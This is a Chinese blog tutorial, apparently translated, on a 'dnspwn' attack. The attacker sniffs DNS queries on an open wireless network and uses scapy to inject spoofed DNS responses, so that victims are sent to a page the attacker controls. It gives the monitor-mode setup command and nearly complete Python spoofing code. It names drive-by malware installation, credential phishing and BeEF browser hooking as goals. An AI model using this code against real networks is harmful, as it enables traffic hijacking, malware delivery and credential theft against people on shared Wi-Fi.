使用Python进行无线攻击:第一部分
admin
2023-07-31 00:38:19
0

引言

前不久,我在Raidersec博客上发布了一篇博客文章,介绍了如何利用Python和Scapy实现绕过鉴权的攻击。我非常高兴写出这篇文章,因为这么做我不仅了解了如何使用aircrack套件,还有机会深度地了解无线攻击运作方式有什么不同。

因此,正如文中所说,这篇博客文章将引出一系列讨论如何利用Python实现普通的无线攻击的短小精悍的博客文章。像以往一样,我希望你欣赏这篇文章,而且毫不犹豫地让我们知道你是否也有如下的评论或者问题。

“Dnspwn攻击”

我们将要进行的第一个攻击我称之为”dnspwn攻击”。(因为,在我看来,这种攻击首先使用“airpwn”工具创建了目标HTTP,然后对DNS进行攻击。)
这种攻击的思想非常简单:

假设在一个开放的WLAN上有两个人:Bob和Eve。Eve想让Bob访问她创建的恶意网页,这样她就可以通过隐藏性的下载给Bob的计算机上安装恶意软件,或者可能展示一个欺骗性的站点来试图窃取Bob的认证信息。

为了实现这种攻击,她记得她可侦听到所有从Bob计算机发出或者到达Bob计算机的请求。她还知道她比Bob正在请求的Web服务器离Bob更近。因此,她决定等待Bob发送Web请求,而且看看她是否能够在真正的Web服务器响应之前回送一个欺骗性的响应,以假装这个响应来自于web服务器。事实证明,她可以做到。实际上,一旦接收了欺骗性的响应,Bob的计算机可能将忽略任何后续接收到的信息,包括真正的响应。

让我们看一下这一些发生的过程,看起来如下:

因此,既然我们已经知道这种攻击如何运行的了,那么让我们把这种攻击自动化。

设置Alfa AWUS06H无线网卡

就像我在Raidersec博客文章里的哪个例子,我们将使用手边的Alfa AWUS036H实现这次攻击。我们需要做的第一件事情就是设置无线网卡在监控模式下,这样我们就可以捕获所有来自于演示性的不安全网络的信息流。

 

1 root@bt:~# airmon-ng start wlan0

既然我们已经启动了监控模式,并运行在mon0接口上,那么让我们开始编写代码吧!

编写攻击代码

我们将利用scapy模块实现这种攻击。我们开始先侦听目的端口为53的任何UDP包,然后发送这个包给我们后面将要编写名字为send_response的函数:

 

1234 from scapy.all import * sniff(prn=lambda x: send_response(x),  lfilter=lambda x:x.haslayer(UDP) and x.dport == 53)

现在,让我们创建一个可以解析请求中相关信息并注入应答的函数。我们只是通过如下逐层上移的方式解析包并创建响应:

  • 802.11帧-更改”to-ds”标记为”from-ds”(现在我们的请求将成为来自于访问点)
  • 802.11帧-交换源MAC地址和目的MAC地址
  • IP层-交换源IP地址和目的IP地址
  • UDP层-交换源端口和目的端口
  • DNS层-设置”answer”标记,添加欺骗性

 

幸运的是,通过抽象掉许多次要细节,scapy使这个变得相当轻松(例如,在一个802.11帧中,实际上具有4个MAC地址字段,根据包的方向,每一种都有不同的顺序)。如上所述,代码如下:

123456789101112131415161718 def send_response(x):  # Get the requested domain  req_domain = x[DNS].qd.qname  spoofed_ip = \’192.168.2.1\’  # Let\’s build our response from a copy of the original packet  response = x.copy()  # We need to start by changing our response to be \”from-ds\”, or from the access point.  response.FCfield = 2L  # Switch the MAC addresses  response.addr1, response.addr2 = x.addr2, x.addr1  # Switch the IP addresses  response.src, response.dst = x.dst, x.src  # Switch the ports  response.sport, response.dport = x.dport, x.sport  # Set the DNS flags  response[DNS].qr = 1L  response[DNS].ra = 1L  response[DNS].ancount = 1

现在设置了所有的标志,我们再创建添加上 DNS 应答:

1234567 response[DNS].an = DNSRR(  rrname = req_domain,  type = \’A\’,  rclass = \’IN\’,  ttl = 900,  rdata = spoofed_ip  )

最终,我们注入此欺骗响应:

1 sendp(response)

这就是全部了!你可以在
Github上找到所有源代码。

演示

对于这个演示,我有如下来自主机192.168.2.138的HTML响应:

123456 <html><head></head><body>  Owned.</body></html>

值得注意的是,我们可以加上任何我们想要的HTML,Javascript,等等。举个例子,用BeEF 框架 来劫持浏览器是小菜一碟。

下面是处于攻击中的截图(我是用我的iPhone来做被攻击方):

总结 & 将来的改进

注意这个攻击方法对于其他简单的请求/响应协议也同样有效。例如,原始的“airpwn”攻击欺骗了HTTP响应。对于这个脚本,我们还可以进一步做一些改进和提高。下面就是其中的几个方面:

  • 通过正则表达式来匹配请求(例如,仅仅替换Javascript的内容)
  • 通过参数设置选项/从文件中读取配置信息
  • 实现其他协议的攻击(如HTTP)。

Enjoy!

Jordan


相关内容

热门资讯

500 行 Python 代码... 语法分析器描述了一个句子的语法结构,用来帮助其他的应用进行推理。自然语言引入了很多意外的歧义,以我们...
定时清理删除C:\Progra... C:\Program Files (x86)下面很多scoped_dir开头的文件夹 写个批处理 定...
65536是2的几次方 计算2... 65536是2的16次方:65536=2⁶ 65536是256的2次方:65536=256 6553...
Mobi、epub格式电子书如... 在wps里全局设置里有一个文件关联,打开,勾选电子书文件选项就可以了。
scoped_dir32_70... 一台虚拟机C盘总是莫名奇妙的空间用完,导致很多软件没法再运行。经过仔细检查发现是C:\Program...
小程序支付时提示:appid和... [Q]小程序支付时提示:appid和mch_id不匹配 [A]小程序和微信支付没有进行关联,访问“小...
pycparser 是一个用... `pycparser` 是一个用 Python 编写的 C 语言解析器。它可以用来解析 C 代码并构...
微信小程序使用slider实现... 众所周知哈,微信小程序里面的音频播放是没有进度条的,但最近有个项目呢,客户要求音频要有进度条控制,所...
python查找阿姆斯特朗数 题目解释 如果一个n位正整数等于其各位数字的n次方之和,则称该数为阿姆斯特朗数。 例如1^3 + 5...
Apache Doris 2.... 亲爱的社区小伙伴们,我们很高兴地向大家宣布,Apache Doris 2.0.0 版本已于...